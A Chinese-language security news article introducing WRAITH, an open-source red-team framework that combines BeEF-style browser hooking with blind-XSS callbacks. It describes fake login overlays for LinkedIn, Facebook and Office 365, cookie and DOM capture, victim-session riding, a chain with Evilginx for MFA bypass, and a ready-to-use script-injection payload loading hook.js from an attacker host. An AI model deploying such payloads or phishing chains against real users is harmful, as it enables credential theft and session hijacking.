导语:还记得那个曾让无数安全爱好者又爱又恨的BeEF吗?那个曾经统治浏览器劫持领域的框架,如今终于有了正经继承者。Arcanum团队近日开源了WRAITH——一款融合经典BeEF工作流与现代blind-XSS盲打回调能力的新一代渗透测试框架。它用Node.js重写,用WebSocket替代老旧的轮询,用现代化钓鱼覆盖层替代那”十年前的登录界面”。这不只是升级,这是彻底的重新设计。
一、它解决什么问题
在WRAITH出现之前,红队成员实际上在使用两套工具:
BeEF(浏览器利用框架):经典的浏览器劫持工具,钩住浏览器后可以键击记录、伪造登录、探测内网。但它太老了——很多功能在现代浏览器上已经不可靠,社交工程覆盖层看起来像上个世纪的登录页面。
blind-XSS框架(XSS Hunter、ezXSS):把 payload 埋进某个表单字段,一旦它在某个管理员后台触发,立刻回传截图、DOM、Cookie和来源信息。但触发后你就只能看截图,无法真正操控那个页面。
WRAITH将两者合二为一:既有BeEF的交互式会话控制,又有blind-XSS的自动回传能力,在一个 payload 里实现。
二、核心功能一览
2.1 现代化的钓鱼覆盖层
WRAITH提供基于 Shadow DOM 渲染的虚假登录框,看起来与真实站点完全一致,同时还会对背景页面施加霜模糊效果,模拟真实模态对话框。已内置 LinkedIn、Facebook 和 Microsoft/Office 365(包含真实的两步验证流程:邮箱→密码)。
2.2 Page Capture(盲打回传)
当浏览器被钩住的瞬间,WRAITH自动抓取:来源URL、Referrer、非HttpOnly Cookie、完整DOM和截图。HttpOnly cookie拿不到?失败信息会诚实告诉你原因——这本身就是最好的教学。
2.3 Page Mirror(页面镜像)
这是WRAITH最亮眼的功能。当你的blind-XSS payload在某个管理员后台触发后,Page Mirror能把那个后台变成一个可交互的实时浏览器视图——你可以在控制台里点击链接、在应用里导航,就像受害者在操作一样。
关键在于:所有导航都通过受害者的浏览器代理,因此它 riding the victim’s session,任何受害者会话能访问的页面你都能访问,包括那些需要HttpOnly Cookie才能进入的功能。
2.4 现代化的本地端口探测
经典BeEF的局域网扫描在Chrome 142+上已经死了——LNA(本地网络访问)现在会弹出权限提示。WRAITH的探测模块重建于当前浏览器可用的技术之上,提供精确的127.0.0.1端口扫描(fetch-timing + WebSocket-timing双原始算法),并诚实标注LAN模式在现代浏览器下会被阻挡。
2.5 内置靶场
/lab 路径下有一个故意存在存储型XSS漏洞的”支持台”系统,可以完整演示整个攻击链:提交恶意工单 → 坐席查看队列时 payload 触发 → Page Mirror钩住坐席并拉取会话金库。设计不安全是故意的,埋了flag供练习。
三、快速部署
WRAITH要求 Docker + Docker Compose,一条命令搞定:
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh 会引导你完成:
- 检测公网IP或让你输入域名
- 设置控制台用户名和密码
- 生成会话签名密钥
- 构建并启动容器
- 最后打印你的入口地址和可直接使用的XSS payload
启动后你将获得:
Operator console : http://YOUR_IP:8090/operator/
Login page : http://YOUR_IP:8090/login
Demo victim page : http://YOUR_IP:8090/demo/
Hook payload : http://YOUR_IP:8090/hook.js
Drop-in XSS payload:
"><script src="http://YOUR_IP:8090/hook.js"></script>
四、技术架构对比
| 功能 | BeEF | WRAITH |
|---|---|---|
| 通信方式 | hook.js + XHR轮询 | hook.js + WebSocket(实时可靠) |
| 服务器 | Ruby + RESTful API | Node.js + ws |
| 钓鱼覆盖层 | Pretty Theft(过时) | Shadow DOM渲染的现代化覆盖层 |
| 端口扫描 | 老旧LAN扫描(已失效) | 校准的127.0.0.1时序扫描 |
| blind-XSS回传 | 无 | Page Capture + Page Mirror |
| 页面导航 | 无 | Page Mirror(骑乘受害者会话) |
五、与AiTM钓鱼框架的关系
WRAITH的覆盖层钓鱼不抓真实会话,也不绕过MFA——它只是把用户输入的东西记录下来。这恰好是它与Evilginx、Modlishka等AiTM工具的根本区别:后者拦截整个登录流程包括MFA之后,拿走会话Cookie;WRAITH则是在你已经拿到代码执行位置之后,在目标页面里做实时操控。
一个现实的杀伤链是这样的:
- blind XSS发现并交付代码执行
- WRAITH hook提供交互式会话控制
- 通过Page Mirror直接操控应用内部功能
- 如需绕过MFA,再将受害者导入Evilginx流程
三种工具链式使用,各司其职。
六、项目信息
- 开源地址:https://github.com/Arcanum-Sec/wraith
- 许可协议:请参阅项目仓库
- 适用场景:授权渗透测试、安全研究、安全教育
- 技术栈:Node.js + WebSocket + Docker
- 发布状态:早期版本,功能仍有打磨空间
版权声明:本文由华盟网原创发布,保留所有权利。














暂无评论内容